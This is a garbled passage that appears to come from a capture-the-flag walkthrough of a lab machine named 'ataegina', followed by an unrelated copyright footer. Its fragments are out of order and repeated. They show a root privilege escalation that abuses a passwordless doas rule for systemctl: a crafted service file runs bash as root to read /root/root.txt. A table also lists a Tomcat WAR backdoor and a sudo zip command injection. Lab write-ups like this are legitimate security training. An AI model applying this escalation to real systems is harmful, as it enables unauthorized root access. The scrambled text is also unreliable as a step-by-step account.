permit nopass ataegina as root cmd /usr/bin/systemctl Create a service:
Check /etc/doas.conf :
doas -u root systemctl link /tmp/root.service doas -u root systemctl start root.service Retrieve flag: ataegina walkthrough
cat <<EOF > /tmp/root.service [Service] ExecStart=/bin/bash -c 'cat /root/root.txt > /tmp/root_flag' [Install] WantedBy=multi-user.target EOF Run as root via doas: permit nopass ataegina as root cmd /usr/bin/systemctl Create
We now have an interactive shell as ataegina . cat /home/ataegina/user.txt THMataegina_user_flag 4. Root Privilege Escalation Check SUID binaries: and unusual SUID binaries.
cat /tmp/root_flag THMataegina_root_flag | Step | Technique | |------|------------| | Recon | Nmap, dirbusting | | Initial access | Tomcat manager default creds → WAR backdoor | | User pivot | sudo zip command injection | | Root | doas misconfiguration + systemctl abuse | Key takeaway: Always check default credentials, cronjobs, sudo/doas rights, and unusual SUID binaries.

| Copyrights © 2000-2018 Mewsoft® Corporation. All Rights Reserved. |